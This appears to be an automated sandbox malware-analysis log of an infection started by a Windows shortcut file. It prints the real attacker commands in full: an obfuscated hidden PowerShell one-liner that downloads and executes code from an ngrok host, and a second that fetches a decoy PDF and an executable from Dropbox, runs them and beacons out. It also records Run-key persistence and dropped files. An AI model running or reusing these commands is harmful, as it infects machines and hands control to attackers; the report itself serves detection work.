Source:	Binary string: wkernelbase.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317606487.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317724743.0000000003AC0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321937249.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322058354.0000000005470000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Unpacked PE file: 27.2.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.1070000.2.unpack

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"

Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe.20.dr	Static PE information: section name: .data1
Source: EnuinaPerfecto.exe.27.dr	Static PE information: section name: .data1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8A42E0 pushad ; ret	2_2_00007FFD9B8A42FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8A3B00 push esp; retf	2_2_00007FFD9B8A3B6E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8A416F push eax; retf	2_2_00007FFD9B8A417D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B8A8426 pushad ; ret	20_2_00007FFD9B8A845D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B8A3CF7 pushad ; retf	20_2_00007FFD9B8A3D06
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B8A0513 push eax; retf	20_2_00007FFD9B8A053E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B8A845E push eax; ret	20_2_00007FFD9B8A846D
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FB8EC push edi; ret	30_3_000FB8F8
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FA0F9 push FFFFFF82h; iretd	30_3_000FA0FB
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000F8904 push ecx; ret	30_3_000F8917
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FB1DC push eax; ret	30_3_000FB1DD
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FD2FB push edi; ret	30_3_000FD2CC
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FBC39 push ecx; ret	30_3_000FBC59
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FDD01 push esi; ret	30_3_000FDD6A
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000FFE8F push esi; ret	30_3_000FFEA1
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000F9F6A push eax; ret	30_3_000F9F75
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE2CB9 push ecx; ret	31_3_02DE2CD9
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE225C push eax; ret	31_3_02DE225D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE0FEA push eax; ret	31_3_02DE0FF5
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE4D81 push esi; ret	31_3_02DE4DEA
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE437B push edi; ret	31_3_02DE434C
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE1179 push FFFFFF82h; iretd	31_3_02DE117B
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE296C push edi; ret	31_3_02DE2978
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE6F0F push esi; ret	31_3_02DE6F21

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

File created: C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	File created: C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EnuinaPerfecto

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EnuinaPerfecto
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EnuinaPerfecto

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
